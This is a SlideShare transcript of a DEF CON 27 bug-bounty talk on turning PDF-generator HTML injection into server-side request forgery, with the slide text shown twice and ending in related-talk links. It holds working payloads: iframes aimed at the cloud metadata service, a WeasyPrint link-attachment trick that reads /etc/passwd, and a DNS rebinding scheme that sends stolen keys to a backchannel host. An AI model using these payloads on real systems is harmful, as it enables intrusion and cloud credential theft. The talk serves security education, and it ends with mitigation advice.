SlideShare a Scribd company logo
OWNING THE CLOUT THROUGH SSRF
AND PDF GENERATORS
Ben Sadeghipour
Cody Brocious
WHO ARE WE
● Head of Hacker Operations at HackerOne
● Top 20 hacker on HackerOne
● Snapchat, Yahoo, DoD, Airbnb, Valve, etc.
● Youtube/Twitch/social media: @NahamSec
Ben Sadeghipour
● Head of Hacker Education at HackerOne
● Not top 20 on HackerOne
● Hotel locks, Nintendo Switch, iTunes, etc.
● Twitter: @daeken
Cody Brocious
In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality
on the server to read or update internal resources. The attacker can supply or a modify
a URL which the code running on the server will read or submit data to, and by
carefully selecting the URLs, the attacker may be able to read server configuration
such as AWS metadata, connect to internal services like http enabled databases or
perform post requests towards internal services which are not intended to be exposed.
TL;DR: Make requests using the target host and in some cases render JS server side
SSRF According to OWASP
What is Cloud Metadata?
● 169.254.164.254 is accessible internally within the machine you have access to.
● Provides details like internal IP, hostname, project details, etc.
And if you’re lucky enough, it could also give you access to access_key & secret_key
as well
Basic Example
● Upload avatar via URL and triggers the following request:
GET /api/v1/fetch?url=https://site.com/myfunnycatmeme.jpeg
Host: thesiteweareabouttpwn.com
● Changing the URL parameter to something.internal.target.com may give us
access to see internal assets
● Not limited to http, you can use other protocols
○ file:///etc/passwd
○ gopher://
○ ssh://
… But it’s not always that easy
CVE Examples
Similar to previous slides
JIRA CVE-2017-9506
CVE Examples
https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a
Pointing consumerUri to Google
Similar to previous slides
JIRA CVE-2017-9506
CVE Examples
https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a
Metadata
Similar to previous slides
Jenkins - CVE-2018-1000600
CVE Examples
Pointing apiUri to AWS Metadata
Sometimes it’s not as straightforward as a single http request. In some cases you may
be dealing with filters or you may not even see the output of your request but you still
have a few options
SSRF Hurdles
SSRF Hurdles
● Problem: metadata or internal IPs are getting filtered
○ Solution: Use a custom domain like meta.mydomain.com and point it to the
asset you are trying to access (aws.mydomain.com -> 169.254.169.254)
● Problem: Only able to use whitelisted domains
○ Solution: Find an ‘Open Redirect’ on the whitelisted domain(s) and use that
to exploit your SSRF
● Problem: SSRF is there but I can’t see the output
○ Solution: Use Javascript and exfil data
● XSS on the target application where it also gets pushed to the PDF
○ How to confirm it: <script>document.write(123)</script>
○ Generate PDF and it should print 123
● Follows redirection by pointing the url or HTML tag (iframe/img etc) to our host
where redirect.php redirects to success.php
○ mysite.com/redirect.php -> redirects to mysite.com/success.php
● Any customization that involves HTML/CSS (Font name, colors, styling)
● Open redirect on the target application in case of any domain whitelisting
Valuable Assets / Vulnerabilities
PDF GENERATION PROCESS
Headless Browsers
There are two common headless browsers in use:
● wkhtmlpdf is a Webkit implementation whose rendering backend is PDF.
● Headless Chrome is desktop Chrome minus the GUI and with a PDF or image
rendering backend attached.
Lots of wrapper libraries providing easy integration with any language
HTML Renderers
Rather than using an actual browser engine, these renderers work by doing the HTML
and CSS parsing, without any kind of JavaScript support or dynamic layout engine.
● tend to provide a restricted environment where most HTML can be handled safely
and efficiently
WeasyPrint is a great example of this class of HTML->PDF converters (more later)
XSS in PDF Files
PDF + XSS == SSRF
Most modern web applications performing PDF generation do not actually generate
PDFs directly.
● As such, any XSS into this data gets you running in the context of the server --
not the client!
The attack strategy used will depend on what conversion system is in use in the
application, but these can be broken into two categories: Headless browsers and
HTML renderers.
Simple XSS->SSRF via wkhtmltopdf
You notice HTML is rendering within your Generated PDF
● we want to make sure this can communicate with other hosts
○ <iframe src=”http://myhost:myport:443”>
Simple XSS->SSRF via wkhtmltopdf
<iframe src=”http://169.254.169.254/user-data”>
When Simple Fails
Headless Chrome is great for PDF conversion tasks like this, but it makes it harder for
hackers. Unlike wkhtmltopdf, it cares if you try to load an http resource inside an
https page, like our previous example. Also unlike wkhtmltopdf, you can’t typically
redirect it to another page and get a render of the new location.
Finally, the JS engine cares about Same-Origin Policy just like normal browsers do, so
we can’t just make an XMLHttpRequest to the metadata service and steal their data
that way.
● Most user input gets sanitized/filtered
● We haven’t found an XSS in our target app
○ But… we are allowed to customize the fonts and styling of the generated
PDF
HTML Renders but...
XSS via escaping <style> tag
● Most user input gets sanitized/filtered
● No XSS
○ But… we are allowed to customize the fonts and styling
XSS via escaping <style> tag
● Confirm it renders HTML within the PDF Generator
● Can it fetch anything from a remote host”?
XSS via escaping <style> tag
Replace test payload with <style><iframe src=”http://169.254.169.254/user-data”>
and extract data:
WeasyPrint Makes Hacking (W)easy
WeasyPrint Makes Hacking (W)easy
… Once you know the trick, at least.
This one stumped us for a while. We got XSS into a PDF no problem, but there were
two things that made this hard:
1. It didn’t seem to run any scripts, load iframes, or seemingly do anything but load
images.
2. Every single payload we wanted to test required us to take a rideshare
somewhere.
Use The Source
Once we got it to connect to a server where we could see the request, we noticed that
the user agent said it was from WeasyPrint. A quick Google search later and we
learned it was a pretty straightforward HTML renderer written in Python and it was
open source!
Thankfully, we could run this locally and render pages just like the victim.
Unfortunately, this was when we got really pessimistic. This thing didn’t render
anything fun. Text, some CSS, images -- that was about it.
Use The Source
● How does it work?
○ weasyprint input.html output.pdf
Example:
Use The Source
● Only fetched images
● No Javascript
● No <iframe>
● Html.py from WeasyPrint’s GitHub repository indicates we can use
○ <Img> 🛑
Use The Source
● Only fetched images
● No Javascript
● No <iframe>
● Html.py from WeasyPrint’s GitHub repository indicates we can use
○ <Img> 🛑
○ <Embed> 🛑
Use The Source
● Only fetched images
● No Javascript
● No <iframe>
● Html.py from WeasyPrint’s GitHub repository indicates we can use
○ <Img> 🛑
○ <Embed> 🛑
○ <Object> 🛑
Use The Source
● Only fetched images
● No Javascript
● No <iframe>
● Html.py from WeasyPrint’s GitHub repository indicates we can use
○ <Img> 🛑
○ <Embed> 🛑
○ <Object> 🛑
○ <Link> 🤔
Attachments
<link rel=attachment href=”file:///etc/passwd”>
Attachments
<link rel=attachment href=”file:///etc/passwd”>
This embeds files right into the PDF itself! They aren’t visible on the page, but they’re
included as a hidden resource on the file.
Attachments
<link rel=attachment href=”file:///etc/passwd”>
This embeds files right into the PDF itself! They aren’t visible on the page, but they’re
included as a hidden resource on the file.
We could not only read files, but make web requests. Three rideshares later, we had
their full EC2 access keys.
Attachments
Unpacks the content from pdf
DNS Rebinding for Fun and Profit
When Simple Fails
Headless Chrome is great for PDF conversion tasks like this, but it makes it harder for
hackers. Unlike wkhtmltopdf, it cares if you try to load an http resource inside an
https page, like our previous example. Also unlike wkhtmltopdf, you can’t typically
redirect it to another page and get a render of the new location.
Finally, the JS engine cares about Same-Origin Policy just like normal browsers do, so
we can’t just make an XMLHttpRequest to the metadata service and steal their data
that way.
DNS Rebinding for Fun and Profit
DNS rebinding attacks provide a means to get around this. We make the browser
think it’s requesting data from the same domain the page was loaded from and it’s
game over.
DNS Rebinding for Fun and Profit
1. Browser loads http://ex.ploit.info/ and the script sends a message to the server
to rebind ex.ploit.info to 169.254.169.254
2. The script then resolves a0.ex.ploit.info through a2499.ex.ploit.info, flushing the
DNS cache for the original domain
3. Then the script can request any data from the metadata service using requests
to ex.ploit.info; the metadata services don’t care what hostname is used to make
requests to them
4. Data can be sent to bc.ex.ploit.info, which serves as a backchannel for
exfiltration
DEF CON 27 - BEN SADEGHIPOUR  - owning the clout through ssrf and pdf generators
SSRF Tools
HTTPRebind
Rebinding attacks can be very valuable for SSRF, but they require a lot of setup work,
tweaking, and programming. HTTPRebind combines a DNS server with an HTTP
server to automatically handle all of this for you.
● Usable against any headless browser
● Takes only seconds to run due to DNS cache flushing
● Automatically pulls critical data from GCP, AWS, and Azure
Get the source at https://github.com/daeken/httprebind
SSRFTest
This tool lets you quickly do a first-pass test for SSRF. It will record incoming requests
for your different targets as well as automatically attempt to access and dump data
from EC2 metadata service.
The optimal targets for SSRFTest’s automated functionality are real headless
browsers living in the cloud, but it’s a useful starting point for any SSRF exploitation.
Get the code at https://github.com/daeken/SSRFTest or use the public instance at
https://ssrftest.com/
Recap
Recap
● SSRFs can be very dangerous
● Don’t give up on your bugs until you have tried every possible scenario
○ WeasyPrint took us ~3 months to piece together
● If you see a PDF generator somewhere, 9/10 it’s vulnerable
○ Especially if you chain with other vulnerabilities (XSS, Open Redirect, etc)
Recap
● Disable Javascript
● Create some good whitelisting
● Properly configure your cloud instances to minimize impact
● Be nice to hackers
Keep in Touch
● me@nahamsec.com
● Youtube/Twitch/social media: @NahamSec
Ben Sadeghipour
● Twitter: @daeken
● Hacker101 Discord
Cody Brocious
Thank You!

More Related Content

What's hot (20)

PPTX
SSRF exploit the trust relationship
n|u - The Open Security Community
 
PDF
ReCertifying Active Directory
Will Schroeder
 
PDF
Vulnerability Management Whitepaper PowerPoint Presentation Slides
SlideTeam
 
PDF
01 Metasploit kung fu introduction
Mostafa Abdel-sallam
 
PPTX
Fortify - Source Code Analyzer
n|u - The Open Security Community
 
PDF
CNIT 123: 6: Enumeration
Sam Bowne
 
PPTX
Detection Rules Coverage
Sunny Neo
 
PPTX
Deep dive into ssrf
n|u - The Open Security Community
 
PPTX
Introduction to Web Application Penetration Testing
Rana Khalil
 
PPTX
Attacking thru HTTP Host header
Sergey Belov
 
PDF
2021 ZAP Automation in CI/CD
Simon Bennetts
 
PDF
Overview of the Cyber Kill Chain [TM]
David Sweigert
 
PPTX
Introduction to path traversal attack
Prashant Hegde
 
PDF
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine
 
PDF
Nikto
Sorina Chirilă
 
PDF
Software Defined Datacenter with Proxmox
GLC Networks
 
PPTX
Windows 10 Forensics: OS Evidentiary Artefacts
Brent Muir
 
PDF
Security Analyst Workshop - 20190314
Florian Roth
 
PPTX
Vulnerability and Assessment Penetration Testing
Yvonne Marambanyika
 
SSRF exploit the trust relationship
n|u - The Open Security Community
 
ReCertifying Active Directory
Will Schroeder
 
Vulnerability Management Whitepaper PowerPoint Presentation Slides
SlideTeam
 
01 Metasploit kung fu introduction
Mostafa Abdel-sallam
 
Fortify - Source Code Analyzer
n|u - The Open Security Community
 
CNIT 123: 6: Enumeration
Sam Bowne
 
Detection Rules Coverage
Sunny Neo
 
Introduction to Web Application Penetration Testing
Rana Khalil
 
Attacking thru HTTP Host header
Sergey Belov
 
2021 ZAP Automation in CI/CD
Simon Bennetts
 
Overview of the Cyber Kill Chain [TM]
David Sweigert
 
Introduction to path traversal attack
Prashant Hegde
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine
 
Software Defined Datacenter with Proxmox
GLC Networks
 
Windows 10 Forensics: OS Evidentiary Artefacts
Brent Muir
 
Security Analyst Workshop - 20190314
Florian Roth
 
Vulnerability and Assessment Penetration Testing
Yvonne Marambanyika
 

Similar to DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators (20)

PDF
Black hat usa_2015-bypass_surgery-6_aug2015
a4202655
 
PPTX
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
PPTX
Owasp web application security trends
beched
 
PDF
Is SSRF a New Disease Targeting Doctors.pdf
StassyHiller
 
PDF
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
Fedir RYKHTIK
 
PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
PDF
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
PDF
Burp suite
Yashar Shahinzadeh
 
PDF
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
PDF
Browser Horror Stories
EC-Council
 
PDF
Html5 security
tsinghua university
 
PDF
Do you lose sleep at night?
Nathan Van Gheem
 
PDF
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
PDF
Ajax Security
Joe Walker
 
PDF
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
PPTX
Hacking WebApps for fun and profit : how to approach a target?
Yassine Aboukir
 
PDF
Watch How The Giants Fall: Learning from Bug Bounty Results
jtmelton
 
PPTX
Crossing Origins by Crossing Formats
internot
 
PPTX
[OWASP Poland Day] Application security - daily questions & answers
OWASP
 
PPTX
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
Black hat usa_2015-bypass_surgery-6_aug2015
a4202655
 
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
Owasp web application security trends
beched
 
Is SSRF a New Disease Targeting Doctors.pdf
StassyHiller
 
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
Fedir RYKHTIK
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
Burp suite
Yashar Shahinzadeh
 
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
Browser Horror Stories
EC-Council
 
Html5 security
tsinghua university
 
Do you lose sleep at night?
Nathan Van Gheem
 
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
Ajax Security
Joe Walker
 
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
Hacking WebApps for fun and profit : how to approach a target?
Yassine Aboukir
 
Watch How The Giants Fall: Learning from Bug Bounty Results
jtmelton
 
Crossing Origins by Crossing Formats
internot
 
[OWASP Poland Day] Application security - daily questions & answers
OWASP
 
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
Ad

More from Felipe Prado (20)

PDF
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
PDF
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
PDF
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
PDF
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
PDF
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
PDF
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
PDF
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
PDF
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
PDF
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
PDF
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
PDF
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
PDF
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
PDF
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
PDF
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
PDF
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
PDF
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
PDF
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
PDF
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
PDF
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
PDF
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 
Ad

Recently uploaded (20)

PDF
RAT Builders - How to Catch Them All [DeepSec 2024]
malmoeb
 
PDF
SalesForce Managed Services Benefits (1).pdf
TechForce Services
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PDF
introduction to computer hardware and sofeware
chauhanshraddha2007
 
PPTX
The Future of AI & Machine Learning.pptx
pritsen4700
 
PDF
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
PDF
Lecture A - AI Workflows for Banking.pdf
Dr. LAM Yat-fai (林日辉)
 
PDF
State-Dependent Conformal Perception Bounds for Neuro-Symbolic Verification
Ivan Ruchkin
 
PPTX
Agile Chennai 18-19 July 2025 | Emerging patterns in Agentic AI by Bharani Su...
AgileNetwork
 
PDF
Market Insight : ETH Dominance Returns
CIFDAQ
 
PDF
Researching The Best Chat SDK Providers in 2025
Ray Fields
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PPTX
PCU Keynote at IEEE World Congress on Services 250710.pptx
Ramesh Jain
 
PDF
Generative AI vs Predictive AI-The Ultimate Comparison Guide
Lily Clark
 
PDF
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
PPTX
AI Code Generation Risks (Ramkumar Dilli, CIO, Myridius)
Priyanka Aash
 
PDF
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
PDF
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
PDF
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
RAT Builders - How to Catch Them All [DeepSec 2024]
malmoeb
 
SalesForce Managed Services Benefits (1).pdf
TechForce Services
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
introduction to computer hardware and sofeware
chauhanshraddha2007
 
The Future of AI & Machine Learning.pptx
pritsen4700
 
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
Lecture A - AI Workflows for Banking.pdf
Dr. LAM Yat-fai (林日辉)
 
State-Dependent Conformal Perception Bounds for Neuro-Symbolic Verification
Ivan Ruchkin
 
Agile Chennai 18-19 July 2025 | Emerging patterns in Agentic AI by Bharani Su...
AgileNetwork
 
Market Insight : ETH Dominance Returns
CIFDAQ
 
Researching The Best Chat SDK Providers in 2025
Ray Fields
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PCU Keynote at IEEE World Congress on Services 250710.pptx
Ramesh Jain
 
Generative AI vs Predictive AI-The Ultimate Comparison Guide
Lily Clark
 
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
AI Code Generation Risks (Ramkumar Dilli, CIO, Myridius)
Priyanka Aash
 
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 

DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators

  • 1. OWNING THE CLOUT THROUGH SSRF AND PDF GENERATORS Ben Sadeghipour Cody Brocious
  • 2. WHO ARE WE ● Head of Hacker Operations at HackerOne ● Top 20 hacker on HackerOne ● Snapchat, Yahoo, DoD, Airbnb, Valve, etc. ● Youtube/Twitch/social media: @NahamSec Ben Sadeghipour ● Head of Hacker Education at HackerOne ● Not top 20 on HackerOne ● Hotel locks, Nintendo Switch, iTunes, etc. ● Twitter: @daeken Cody Brocious
  • 3. In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or a modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed. TL;DR: Make requests using the target host and in some cases render JS server side SSRF According to OWASP
  • 4. What is Cloud Metadata? ● 169.254.164.254 is accessible internally within the machine you have access to. ● Provides details like internal IP, hostname, project details, etc. And if you’re lucky enough, it could also give you access to access_key & secret_key as well
  • 5. Basic Example ● Upload avatar via URL and triggers the following request: GET /api/v1/fetch?url=https://site.com/myfunnycatmeme.jpeg Host: thesiteweareabouttpwn.com ● Changing the URL parameter to something.internal.target.com may give us access to see internal assets ● Not limited to http, you can use other protocols ○ file:///etc/passwd ○ gopher:// ○ ssh:// … But it’s not always that easy
  • 7. Similar to previous slides JIRA CVE-2017-9506 CVE Examples https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a Pointing consumerUri to Google
  • 8. Similar to previous slides JIRA CVE-2017-9506 CVE Examples https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a Metadata
  • 9. Similar to previous slides Jenkins - CVE-2018-1000600 CVE Examples Pointing apiUri to AWS Metadata
  • 10. Sometimes it’s not as straightforward as a single http request. In some cases you may be dealing with filters or you may not even see the output of your request but you still have a few options SSRF Hurdles
  • 11. SSRF Hurdles ● Problem: metadata or internal IPs are getting filtered ○ Solution: Use a custom domain like meta.mydomain.com and point it to the asset you are trying to access (aws.mydomain.com -> 169.254.169.254) ● Problem: Only able to use whitelisted domains ○ Solution: Find an ‘Open Redirect’ on the whitelisted domain(s) and use that to exploit your SSRF ● Problem: SSRF is there but I can’t see the output ○ Solution: Use Javascript and exfil data
  • 12. ● XSS on the target application where it also gets pushed to the PDF ○ How to confirm it: <script>document.write(123)</script> ○ Generate PDF and it should print 123 ● Follows redirection by pointing the url or HTML tag (iframe/img etc) to our host where redirect.php redirects to success.php ○ mysite.com/redirect.php -> redirects to mysite.com/success.php ● Any customization that involves HTML/CSS (Font name, colors, styling) ● Open redirect on the target application in case of any domain whitelisting Valuable Assets / Vulnerabilities
  • 14. Headless Browsers There are two common headless browsers in use: ● wkhtmlpdf is a Webkit implementation whose rendering backend is PDF. ● Headless Chrome is desktop Chrome minus the GUI and with a PDF or image rendering backend attached. Lots of wrapper libraries providing easy integration with any language
  • 15. HTML Renderers Rather than using an actual browser engine, these renderers work by doing the HTML and CSS parsing, without any kind of JavaScript support or dynamic layout engine. ● tend to provide a restricted environment where most HTML can be handled safely and efficiently WeasyPrint is a great example of this class of HTML->PDF converters (more later)
  • 16. XSS in PDF Files
  • 17. PDF + XSS == SSRF Most modern web applications performing PDF generation do not actually generate PDFs directly. ● As such, any XSS into this data gets you running in the context of the server -- not the client! The attack strategy used will depend on what conversion system is in use in the application, but these can be broken into two categories: Headless browsers and HTML renderers.
  • 18. Simple XSS->SSRF via wkhtmltopdf You notice HTML is rendering within your Generated PDF ● we want to make sure this can communicate with other hosts ○ <iframe src=”http://myhost:myport:443”>
  • 19. Simple XSS->SSRF via wkhtmltopdf <iframe src=”http://169.254.169.254/user-data”>
  • 20. When Simple Fails Headless Chrome is great for PDF conversion tasks like this, but it makes it harder for hackers. Unlike wkhtmltopdf, it cares if you try to load an http resource inside an https page, like our previous example. Also unlike wkhtmltopdf, you can’t typically redirect it to another page and get a render of the new location. Finally, the JS engine cares about Same-Origin Policy just like normal browsers do, so we can’t just make an XMLHttpRequest to the metadata service and steal their data that way.
  • 21. ● Most user input gets sanitized/filtered ● We haven’t found an XSS in our target app ○ But… we are allowed to customize the fonts and styling of the generated PDF HTML Renders but...
  • 22. XSS via escaping <style> tag ● Most user input gets sanitized/filtered ● No XSS ○ But… we are allowed to customize the fonts and styling
  • 23. XSS via escaping <style> tag ● Confirm it renders HTML within the PDF Generator ● Can it fetch anything from a remote host”?
  • 24. XSS via escaping <style> tag Replace test payload with <style><iframe src=”http://169.254.169.254/user-data”> and extract data:
  • 26. WeasyPrint Makes Hacking (W)easy … Once you know the trick, at least. This one stumped us for a while. We got XSS into a PDF no problem, but there were two things that made this hard: 1. It didn’t seem to run any scripts, load iframes, or seemingly do anything but load images. 2. Every single payload we wanted to test required us to take a rideshare somewhere.
  • 27. Use The Source Once we got it to connect to a server where we could see the request, we noticed that the user agent said it was from WeasyPrint. A quick Google search later and we learned it was a pretty straightforward HTML renderer written in Python and it was open source! Thankfully, we could run this locally and render pages just like the victim. Unfortunately, this was when we got really pessimistic. This thing didn’t render anything fun. Text, some CSS, images -- that was about it.
  • 28. Use The Source ● How does it work? ○ weasyprint input.html output.pdf Example:
  • 29. Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑
  • 30. Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 ○ <Embed> 🛑
  • 31. Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 ○ <Embed> 🛑 ○ <Object> 🛑
  • 32. Use The Source ● Only fetched images ● No Javascript ● No <iframe> ● Html.py from WeasyPrint’s GitHub repository indicates we can use ○ <Img> 🛑 ○ <Embed> 🛑 ○ <Object> 🛑 ○ <Link> 🤔
  • 34. Attachments <link rel=attachment href=”file:///etc/passwd”> This embeds files right into the PDF itself! They aren’t visible on the page, but they’re included as a hidden resource on the file.
  • 35. Attachments <link rel=attachment href=”file:///etc/passwd”> This embeds files right into the PDF itself! They aren’t visible on the page, but they’re included as a hidden resource on the file. We could not only read files, but make web requests. Three rideshares later, we had their full EC2 access keys.
  • 37. DNS Rebinding for Fun and Profit
  • 38. When Simple Fails Headless Chrome is great for PDF conversion tasks like this, but it makes it harder for hackers. Unlike wkhtmltopdf, it cares if you try to load an http resource inside an https page, like our previous example. Also unlike wkhtmltopdf, you can’t typically redirect it to another page and get a render of the new location. Finally, the JS engine cares about Same-Origin Policy just like normal browsers do, so we can’t just make an XMLHttpRequest to the metadata service and steal their data that way.
  • 39. DNS Rebinding for Fun and Profit DNS rebinding attacks provide a means to get around this. We make the browser think it’s requesting data from the same domain the page was loaded from and it’s game over.
  • 40. DNS Rebinding for Fun and Profit 1. Browser loads http://ex.ploit.info/ and the script sends a message to the server to rebind ex.ploit.info to 169.254.169.254 2. The script then resolves a0.ex.ploit.info through a2499.ex.ploit.info, flushing the DNS cache for the original domain 3. Then the script can request any data from the metadata service using requests to ex.ploit.info; the metadata services don’t care what hostname is used to make requests to them 4. Data can be sent to bc.ex.ploit.info, which serves as a backchannel for exfiltration
  • 43. HTTPRebind Rebinding attacks can be very valuable for SSRF, but they require a lot of setup work, tweaking, and programming. HTTPRebind combines a DNS server with an HTTP server to automatically handle all of this for you. ● Usable against any headless browser ● Takes only seconds to run due to DNS cache flushing ● Automatically pulls critical data from GCP, AWS, and Azure Get the source at https://github.com/daeken/httprebind
  • 44. SSRFTest This tool lets you quickly do a first-pass test for SSRF. It will record incoming requests for your different targets as well as automatically attempt to access and dump data from EC2 metadata service. The optimal targets for SSRFTest’s automated functionality are real headless browsers living in the cloud, but it’s a useful starting point for any SSRF exploitation. Get the code at https://github.com/daeken/SSRFTest or use the public instance at https://ssrftest.com/
  • 45. Recap
  • 46. Recap ● SSRFs can be very dangerous ● Don’t give up on your bugs until you have tried every possible scenario ○ WeasyPrint took us ~3 months to piece together ● If you see a PDF generator somewhere, 9/10 it’s vulnerable ○ Especially if you chain with other vulnerabilities (XSS, Open Redirect, etc)
  • 47. Recap ● Disable Javascript ● Create some good whitelisting ● Properly configure your cloud instances to minimize impact ● Be nice to hackers
  • 48. Keep in Touch ● [email protected] ● Youtube/Twitch/social media: @NahamSec Ben Sadeghipour ● Twitter: @daeken ● Hacker101 Discord Cody Brocious